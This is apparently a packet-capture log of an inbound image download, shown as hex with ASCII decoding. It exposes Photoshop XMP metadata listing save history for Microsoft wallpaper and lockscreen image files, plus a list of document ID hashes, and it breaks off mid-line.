2022-07-21 02:34:44 UTC	709	IN	Data Raw: 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 38 36 36 37 38 39 30 31 5f 31 39 32 30 78 31 30 38 30 44 31 36 35 39 45 36 43 45 44 41 34 32 38 36 34 30 42 41 36 35 35 37 39 44 32 36 44 32 44 39 46 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 32 33 3a 31 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 Data Ascii: sers\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Office_Skype_GettyImages-186678901_1920x1080D1659E6CEDA428640BA65579D26D2D9F.psb saved 2016-11-23T15:23:19-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_C
2022-07-21 02:34:44 UTC	789	IN	Data Raw: 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4d 53 2d 52 65 77 61 72 64 73 5c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 47 65 6e 65 72 61 6c 5c 4d 6f 76 69 65 73 5c 43 48 4f 53 45 4e 5c 45 64 67 65 2d 4d 53 52 65 77 61 72 64 73 2d 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 32 33 30 34 37 39 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 31 34 3a 31 30 3a 30 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4d 53 2d 52 65 77 61 72 64 73 5c 45 6e 74 65 72 74 61 69 6e Data Ascii: :00 File C:\Users\v-lizagh\MS\Windows10\Edge\MS-Rewards\Entertainment-General\Movies\CHOSEN\Edge-MSRewards-Movies_GettyImages-152304794_1920x1080.jpg saved 2017-01-30T14:10:06-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\MS-Rewards\Entertain
2022-07-21 02:34:44 UTC	988	IN	Data Raw: 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 3a 32 39 3a 34 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 3a 33 36 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 53 74 61 72 62 75 63 6b 73 5c 43 48 4f 53 45 4e 5c 4d 53 2d 52 65 77 61 72 64 73 5f 53 74 61 72 62 75 63 6b 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 35 39 33 38 34 30 34 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 Data Ascii: ape.psd saved 2017-02-28T11:29:44-08:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-02-28T11:36:50-08:00 File C:\Users\v-lizagh\MS\Windows10\MSrewards\Starbucks\CHOSEN\MS-Rewards_Starbucks_GettyImages-125938404_1920x1080.psd saved&
2022-07-21 02:34:44 UTC	1035	IN	Data Raw: 37 2d 30 33 2d 32 32 54 31 38 3a 34 35 3a 32 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 46 61 6c 6c 32 30 31 36 5f 35 30 30 5f 42 61 74 63 68 32 5c 43 72 6f 70 73 5c 50 50 5f 51 34 2d 35 30 30 42 32 5f 46 65 72 72 69 73 57 68 65 65 6c 4d 61 72 73 65 69 6c 6c 65 46 72 61 6e 63 65 5f 35 30 30 70 78 2d 31 31 36 37 30 37 34 38 31 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 32 32 54 31 38 3a 34 36 3a 34 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 Data Ascii: 7-03-22T18:45:21-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Fall2016_500_Batch2\Crops\PP_Q4-500B2_FerrisWheelMarseilleFrance_500px-116707481_1920x1080.jpg saved 2017-03-22T18:46:45-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\A
2022-07-21 02:34:44 UTC	1274	IN	Data Raw: 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 38 54 31 39 3a 30 39 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 39 54 31 30 3a 33 31 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 Data Ascii: Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-04-18T19:09:41-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-04-19T10:31:06-07:00 File
2022-07-21 02:34:44 UTC	1330	IN	Data Raw: 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 30 39 3a 32 33 3a 34 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 30 39 3a 32 37 3a 30 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 Data Ascii: #xA;2017-05-12T09:23:42-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-05-12T09:27:05-07:00 File C:\Users\v-lizagh\MS\Window
2022-07-21 02:34:44 UTC	1361	IN	Data Raw: 64 6f 77 73 31 30 2d 4c 6f 63 6b 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 35 5f 53 41 2d 41 46 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 35 5f 41 46 5f 4c 69 6f 6e 54 61 6e 7a 61 6e 69 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 35 33 32 30 37 37 37 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 32 35 54 32 32 3a 31 37 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 44 72 6f 70 62 6f 78 20 28 41 71 75 65 6e 74 29 5c 52 68 79 73 5c 57 69 6e 64 6f 77 73 31 30 2d 4c 6f 63 6b 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 35 5f 53 41 2d 41 46 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 35 5f 41 46 5f 4d 6f 75 6e 74 61 69 6e Data Ascii: dows10-Lock\Lock2017_Batch5_SA-AF\Crops\Lock2017-B5_AF_LionTanzania_GettyImages-155320777_1920x1080.jpg saved 2017-05-25T22:17:19-07:00 File C:\Users\v-lizagh\Dropbox (Aquent)\Rhys\Windows10-Lock\Lock2017_Batch5_SA-AF\Crops\Lock2017-B5_AF_Mountain
2022-07-21 02:34:44 UTC	1449	IN	Data Raw: 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 36 3a 34 38 3a 33 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 36 3a 35 34 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d Data Ascii: d saved 2017-07-13T16:48:30-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-07-13T16:54:56-07:00 File C:\Users\v-lizagh\M
2022-07-21 02:34:44 UTC	1465	IN	Data Raw: 53 45 4e 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 36 5f 44 65 6e 61 6c 69 54 6f 77 65 72 41 6c 61 73 6b 61 5f 4f 66 66 73 65 74 5f 35 30 37 35 36 37 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 32 54 31 36 3a 33 39 3a 34 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 30 34 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e Data Ascii: SEN\Crops\Lock2017-B6_DenaliTowerAlaska_Offset_507567_1920x1080.jpg saved 2017-08-02T16:39:49-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-08-03T16:04:43-07:00 File Lockscreen_1920x1080_Landscape.
2022-07-21 02:34:44 UTC	1536	IN	Data Raw: 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 32 3a 35 35 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 4d 6f 74 69 76 61 74 69 6f 6e 61 6c 2d 43 61 6d 70 61 69 67 6e 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 51 75 6f 74 65 44 61 79 48 69 73 74 6f 72 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 36 30 31 33 31 32 39 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 33 3a 30 32 3a 32 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 51 75 6f 74 65 44 61 79 48 69 73 74 6f 72 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 36 30 31 33 31 32 39 5f 31 39 32 Data Ascii: ned 2017-08-29T12:55:51-07:00 File C:\Users\v-lizagh\MS\Windows10\Cortana\Motivational-Campaign\Chosen\Crops\QuoteDayHistory_GettyImages-466013129_1920x1080.psd saved 2017-08-29T13:02:22-07:00 File QuoteDayHistory_GettyImages-466013129_192
2022-07-21 02:34:44 UTC	1664	IN	Data Raw: 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 45 6c 53 61 6c 76 61 64 6f 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 45 64 67 65 2d 45 6c 53 61 6c 76 61 64 6f 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 39 32 33 38 37 37 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 31 32 54 32 30 3a 33 39 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 45 6c 53 61 6c 76 61 64 6f 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 45 64 67 65 2d 45 6c 53 61 6c 76 61 64 6f 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 39 32 34 30 36 36 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 Data Ascii: agh\MS\Windows10\Edge\ElSalvador\CHOSEN\Crops\Edge-ElSalvador_GettyImages-469238774_1920x1080.jpg saved 2017-10-12T20:39:43-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\ElSalvador\CHOSEN\Crops\Edge-ElSalvador_GettyImages-469240666_1920x1080.jpg
2022-07-21 02:34:44 UTC	1680	IN	Data Raw: 54 31 32 3a 35 37 3a 30 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4a 68 61 72 6b 68 61 6e 64 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 45 64 67 65 2d 4a 68 61 72 6b 68 61 6e 64 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 39 32 35 31 34 36 36 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 36 54 31 32 3a 35 37 3a 34 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 Data Ascii: T12:57:07-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\Jharkhand\CHOSEN\Crops\Edge-Jharkhand_shutterstock_192514664_1920x1080.jpg saved 2017-11-16T12:57:45-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecove
2022-07-21 02:34:44 UTC	1863	IN	Data Raw: 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 32 30 31 37 2d 42 39 5f 50 61 70 61 72 6f 61 4e 50 4e 65 77 5a 65 6c 61 6e 64 5f 35 30 30 70 78 2d 36 36 35 35 30 30 34 39 5f 31 39 32 30 78 31 30 38 30 32 42 34 41 37 31 30 39 34 39 37 44 35 34 37 42 41 31 36 39 41 46 42 37 36 45 32 37 30 39 36 44 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 33 3a 32 32 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 39 5c 43 48 4f 53 45 4e 5c 52 65 70 6c 61 63 65 Data Ascii: dobe Photoshop CC 2017\AutoRecover\_Lock2017-B9_PaparoaNPNewZeland_500px-66550049_1920x10802B4A7109497D547BA169AFB76E27096D.psb saved 2017-12-04T13:22:56-08:00 File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\Lock2017_Batch9\CHOSEN\Replace
2022-07-21 02:34:44 UTC	1926	IN	Data Raw: 23 78 41 3b 32 30 31 38 2d 30 31 2d 30 34 54 32 31 3a 35 37 3a 32 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 52 4f 55 4e 44 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 31 37 30 37 39 36 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 30 34 54 32 31 3a 35 37 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 Data Ascii: #xA;2018-01-04T21:57:26-08:00 File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\ROUND2\_CHOSEN\Crops\WindowsMMX-Rd2_GettyImages-501707966_1920x1080.jpg saved 2018-01-04T21:57:49-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop
2022-07-21 02:34:44 UTC	2046	IN	Data Raw: 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 30 32 54 30 39 3a 34 38 3a 35 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 56 61 6c 65 6e 74 69 6e 65 73 44 61 79 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 56 61 6c 65 6e 74 69 6e 65 73 44 61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 38 36 39 32 38 37 30 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 30 32 54 30 39 3a 35 30 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 56 61 6c Data Ascii: 1080.jpg saved 2018-02-02T09:48:58-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\ValentinesDay\Crops\Office-ValentinesDay_GettyImages-586928706_1920x1080.jpg saved 2018-02-02T09:50:14-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Val
2022-07-21 02:34:44 UTC	2125	IN	Data Raw: 49 6d 61 67 65 73 2d 36 30 31 37 39 37 30 38 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 31 54 31 38 3a 31 36 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 36 54 30 38 3a 33 31 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 36 Data Ascii: Images-601797083_1920x1080.jpg saved 2018-02-21T18:16:50-08:00 File C:\Users\v-lizagh\MS\Windows10\__Templates\Lockscreen_1920x1080_Landscape.psd saved 2018-02-26T08:31:56-08:00 File Lockscreen_1920x1080_Landscape.psd opened 2018-02-26
2022-07-21 02:34:44 UTC	2221	IN	Data Raw: 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 70 72 69 6e 67 4f 75 74 64 6f 6f 72 41 63 74 69 76 69 74 69 65 73 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 53 70 72 69 6e 67 4f 75 74 64 6f 6f 72 41 63 74 69 76 69 74 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 37 30 35 30 37 31 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 37 3a 33 34 3a 34 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 70 72 69 6e 67 4f 75 74 64 6f 6f 72 41 63 74 69 76 69 Data Ascii: C:\Users\v-lizagh\MS\Windows10\MomentsInTime\SpringOutdoorActivities\_CHOSEN\Crops\MIT-SpringOutdoorActivity_GettyImages-507050716_1920x1080.jpg saved 2018-03-21T17:34:40-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\SpringOutdoorActivi
2022-07-21 02:34:44 UTC	2253	IN	Data Raw: 38 37 37 44 46 39 46 30 44 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 42 36 38 30 39 39 36 39 30 30 32 35 45 35 46 30 38 32 46 43 30 45 33 35 33 44 36 30 32 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 42 37 32 30 30 37 38 32 45 33 31 31 46 30 38 45 42 42 41 31 31 41 35 41 43 46 32 31 30 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 42 37 34 34 33 45 41 42 36 44 45 44 44 33 34 44 34 46 44 38 37 38 33 41 38 35 38 31 46 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 42 38 33 33 35 42 36 39 36 39 39 44 42 44 30 37 33 46 31 42 30 42 35 31 31 31 33 42 45 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 42 38 36 35 44 45 45 39 32 32 43 39 36 44 46 38 42 33 37 43 30 31 42 44 38 46 Data Ascii: 877DF9F0DC</rdf:li> <rdf:li>0B68099690025E5F082FC0E353D60273</rdf:li> <rdf:li>0B7200782E311F08EBBA11A5ACF2104C</rdf:li> <rdf:li>0B7443EAB6DEDD34D4FD8783A8581F03</rdf:li> <rdf:li>0B8335B69699DBD073F1B0B51113BE5E</rdf:li> <rdf:li>0B865DEE922C96DF8B37C01BD8F
2022-07-21 02:34:44 UTC	2451	IN	Data Raw: 45 43 34 39 30 42 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 39 38 44 37 36 42 44 31 38 31 42 43 41 34 33 44 38 44 46 33 32 41 34 39 39 31 30 42 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 39 46 46 35 46 42 35 33 31 35 32 41 30 46 37 31 45 35 41 38 32 44 37 36 44 44 42 44 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 41 45 32 31 41 35 41 34 33 34 42 43 34 44 39 39 38 39 35 31 35 42 34 36 42 42 32 42 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 44 32 30 37 34 34 46 35 41 39 31 33 32 44 38 30 35 30 34 36 43 33 32 32 33 34 39 43 43 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 45 31 32 41 44 45 33 44 31 46 41 31 43 36 37 39 33 31 39 44 44 38 46 43 41 34 46 Data Ascii: EC490B7B</rdf:li> <rdf:li>1198D76BD181BCA43D8DF32A49910B33</rdf:li> <rdf:li>119FF5FB53152A0F71E5A82D76DDBD1F</rdf:li> <rdf:li>11AE21A5A434BC4D9989515B46BB2B47</rdf:li> <rdf:li>11D20744F5A9132D805046C322349CCB</rdf:li> <rdf:li>11E12ADE3D1FA1C679319DD8FCA4F
2022-07-21 02:34:44 UTC	2499	IN	Data Raw: 41 35 36 38 33 45 44 35 42 43 36 41 46 38 35 46 41 41 42 30 37 33 45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 46 39 44 30 30 34 43 30 36 44 41 46 31 31 35 39 34 41 46 38 46 30 33 39 39 43 44 44 30 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 46 39 44 34 46 31 37 33 30 37 41 44 41 37 43 41 43 32 30 43 43 34 37 36 37 42 33 41 37 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 46 41 36 43 30 34 37 43 43 41 45 43 42 43 35 36 39 44 42 45 43 46 33 43 35 37 42 38 31 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 46 43 31 31 32 36 44 32 44 33 34 33 31 46 45 35 42 38 46 30 30 41 45 43 35 